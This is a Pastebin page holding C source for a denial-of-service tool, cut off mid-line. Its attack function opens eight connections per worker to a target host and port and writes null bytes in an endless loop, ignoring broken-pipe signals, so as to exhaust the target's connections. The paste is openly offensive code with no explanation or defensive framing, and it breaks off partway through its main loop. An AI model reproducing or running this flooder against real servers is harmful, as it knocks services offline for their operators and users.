Advertisement
Guest User

Untitled

a guest
Nov 17th, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12.  
  13. int make_socket(char *host, char *port) {
  14. struct addrinfo hints, *servinfo, *p;
  15. int sock, r;
  16. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  17. memset(&hints, 0, sizeof(hints));
  18. hints.ai_family = AF_UNSPEC;
  19. hints.ai_socktype = SOCK_STREAM;
  20. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  21. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  22. exit(0);
  23. }
  24. for(p = servinfo; p != NULL; p = p->ai_next) {
  25. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  26. continue;
  27. }
  28. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  29. close(sock);
  30. continue;
  31. }
  32. break;
  33. }
  34. if(p == NULL) {
  35. if(servinfo)
  36. freeaddrinfo(servinfo);
  37. fprintf(stderr, "No connection could be made\n");
  38. exit(0);
  39. }
  40. if(servinfo)
  41. freeaddrinfo(servinfo);
  42. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  43. return sock;
  44. }
  45.  
  46. void broke(int s) {
  47. // do nothing
  48. }
  49.  
  50. #define CONNECTIONS 8
  51. #define THREADS 48
  52.  
  53. void attack(char *host, char *port, int id) {
  54. int sockets[CONNECTIONS];
  55. int x, g=1, r;
  56. for(x=0; x!= CONNECTIONS; x++)
  57. sockets[x]=0;
  58. signal(SIGPIPE, &broke);
  59. while(1) {
  60. for(x=0; x != CONNECTIONS; x++) {
  61. if(sockets[x] == 0)
  62. sockets[x] = make_socket(host, port);
  63. r=write(sockets[x], "\0", 1);
  64. if(r == -1) {
  65. close(sockets[x]);
  66. sockets[x] = m
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement